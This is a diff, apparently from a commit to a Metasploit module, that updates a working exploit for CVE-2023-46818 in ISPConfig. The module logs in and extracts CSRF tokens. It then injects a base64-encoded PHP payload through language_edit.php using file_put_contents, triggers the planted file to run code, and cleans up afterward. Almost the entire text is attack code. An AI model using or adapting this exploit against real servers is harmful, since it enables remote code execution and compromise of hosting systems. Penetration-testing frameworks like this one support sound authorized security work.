@@ -20,7 +20,8 @@ def initialize(info = {})
20
20
} ,
21
21
'License' => MSF_LICENSE ,
22
22
'Author' => [
23
- 'syfi' # Discovery and PoC
23
+ 'syfi' , # Discovery and PoC
24
+ 'Egidio Romano'
24
25
] ,
25
26
'References' => [
26
27
[ 'CVE' , '2023-46818' ] ,
@@ -67,6 +68,39 @@ def check
67
68
'uri' => normalize_uri ( target_uri . path , 'login' )
68
69
} )
69
70
return CheckCode ::Unknown unless res
71
+
72
+ # Try to log in and parse version if credentials are provided
73
+ if datastore [ 'USERNAME' ] && datastore [ 'PASSWORD' ]
74
+ login_res = send_request_cgi ( {
75
+ 'method' => 'POST' ,
76
+ 'uri' => normalize_uri ( target_uri . path , 'login' ) ,
77
+ 'vars_post' => {
78
+ 'username' => datastore [ 'USERNAME' ] ,
79
+ 'password' => datastore [ 'PASSWORD' ] ,
80
+ 's_mod' => 'login'
81
+ } ,
82
+ 'keep_cookies' => true
83
+ } )
84
+ if login_res && ( login_res . headers [ 'Location' ] &.include? ( 'admin' ) || login_res . body . downcase . include? ( 'dashboard' ) )
85
+ # Try to access the dashboard or settings page
86
+ settings_res = send_request_cgi ( {
87
+ 'method' => 'GET' ,
88
+ 'uri' => normalize_uri ( target_uri . path , 'admin' , 'index.php' ) ,
89
+ 'keep_cookies' => true
90
+ } )
91
+ if settings_res
92
+ doc = settings_res . get_html_document
93
+ # Try to find version in a span, div, or similar element
94
+ version_text = doc . text [ /ISPConfig\s *v?(\d +\. \d +(?:\. \d +)?(?:p\d +)?)/i , 1 ]
95
+ if version_text
96
+ print_good ( "ISPConfig version detected: #{ version_text } " )
97
+ return CheckCode ::Appears ( "Version: #{ version_text } " )
98
+ end
99
+ end
100
+ end
101
+ end
102
+
103
+ # Fallback to the previous check
70
104
if res . body . include? ( 'ISPConfig' ) && ( res . body . include? ( 'login' ) || res . body . include? ( 'username' ) || res . body . include? ( 'password' ) )
71
105
print_good ( 'ISPConfig installation detected' )
72
106
return CheckCode ::Detected
@@ -87,10 +121,16 @@ def authenticate
87
121
'keep_cookies' => true
88
122
} )
89
123
fail_with ( Failure ::NoAccess , 'Login request failed' ) unless res
124
+ if res &.code == 302
125
+ res = send_request_cgi ( {
126
+ 'method' => 'GET' ,
127
+ 'uri' => normalize_uri ( target_uri . path , 'login/' , res &.headers . fetch ( 'Location' , nil ) )
128
+ } )
129
+ end
90
130
if res . body . match ( /Username or Password wrong/i )
91
131
fail_with ( Failure ::NoAccess , 'Login failed: Invalid credentials' )
92
132
end
93
- if res . headers [ 'Location' ] && res . headers [ 'Location' ] . include? ( 'admin' ) ||
133
+ if res . headers . fetch ( 'Location' , nil ) & .include? ( 'admin' ) ||
94
134
res . body . downcase . include? ( 'dashboard' )
95
135
print_good ( 'Login successful!' )
96
136
return true
@@ -102,8 +142,7 @@ def authenticate
102
142
def inject_payload
103
143
print_status ( 'Injecting PHP payload...' )
104
144
@payload_file = "#{ Rex ::Text . rand_text_alpha_lower ( 8 ) } .php"
105
- php_payload = payload . encoded
106
- injection = "'];file_put_contents('#{ @payload_file } ','<?php #{ php_payload } ?>');die;#"
145
+ injection = %<'];file_put_contents('#{ @payload_file } ',base64_decode('#{ Base64 . strict_encode64 ( payload . encoded ) } ');die;#"
107
146
lang_file = Rex::Text.rand_text_alpha_lower(10) + ".lng"
108
147
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
109
148
initial_data = {
@@ -118,13 +157,12 @@ def inject_payload
118
157
'keep_cookies' => true
119
158
} )
120
159
fail_with ( Failure ::UnexpectedReply , 'Unable to access language_edit.php' ) unless res
121
- csrf_id_match = res . body . match ( /_csrf_id" value="([^"]+)"/ )
122
- csrf_key_match = res . body . match ( /_csrf_key" value="([^"]+)"/ )
123
- unless csrf_id_match && csrf_key_match
160
+ doc = res . get_html_document
161
+ csrf_id = doc . at ( 'input[name="_csrf_id"]' ) &.[]( 'value' )
162
+ csrf_key = doc . at ( 'input[name="_csrf_key"]' ) &.[]( 'value' )
163
+ unless csrf_id && csrf_key
124
164
fail_with ( Failure ::UnexpectedReply , 'CSRF tokens not found!' )
125
165
end
126
- csrf_id = csrf_id_match [ 1 ]
127
- csrf_key = csrf_key_match [ 1 ]
128
166
print_good ( "Extracted CSRF tokens: ID=#{ csrf_id [ 0 ..10 ] } ..., KEY=#{ csrf_key [ 0 ..10 ] } ..." )
129
167
injection_data = {
130
168
'lang' => 'en' ,
@@ -155,7 +193,7 @@ def trigger_payload(payload_url)
155
193
'uri' => payload_url ,
156
194
'keep_cookies' => true
157
195
} )
158
- if res && res . code == 200
196
+ if res & .code == 200
159
197
print_good ( 'PHP payload triggered successfully' )
160
198
else
161
199
print_warning ( 'Payload trigger response was unexpected' )
@@ -181,11 +219,10 @@ def cleanup
181
219
'keep_cookies' => true
182
220
} )
183
221
return unless res
184
- csrf_id_match = res . body . match ( /_csrf_id" value="([^"]+)"/ )
185
- csrf_key_match = res . body . match ( /_csrf_key" value="([^"]+)"/ )
186
- return unless csrf_id_match && csrf_key_match
187
- csrf_id = csrf_id_match [ 1 ]
188
- csrf_key = csrf_key_match [ 1 ]
222
+ doc = res . get_html_document
223
+ csrf_id = doc . at ( 'input[name="_csrf_id"]' ) &.[]( 'value' )
224
+ csrf_key = doc . at ( 'input[name="_csrf_key"]' ) &.[]( 'value' )
225
+ return unless csrf_id && csrf_key
189
226
injection_data = {
190
227
'lang' => 'en' ,
191
228
'module' => 'help' ,
0 commit comments